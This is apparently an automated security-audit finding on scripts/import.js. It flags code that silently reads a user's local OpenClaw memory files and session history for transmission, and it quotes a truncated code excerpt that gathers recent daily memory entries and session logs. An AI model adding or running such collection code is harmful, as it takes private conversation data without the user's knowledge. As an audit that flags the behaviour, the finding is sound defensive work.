T05 · Unauthorized Access and Privilege Escalation
- Location
scripts/import.js:151- Finding
Silent Import and Transmission of Local OpenClaw Memory and Session History
- Content
View full analysis
f.endsWith(".md")) .sort() .slice(-30); for (const file of files) { const date = file.replace(".md", ""); const content = (() => { try { return fs.readFileSync(path.join(memoryDir, file), "utf8"); } catch { return ""; } })(); const entries = parseDailyMd(content, date); for (const entry of entries) { batchItems.push(`[OpenClaw daily/${date}] ${entry.text}`); } } } // 3. Import session JSONL files (most recent N) const home = process.env.HOME || ""; const sessionsDir = path.j ...[truncated 3023 chars]- Remediation
View remediation
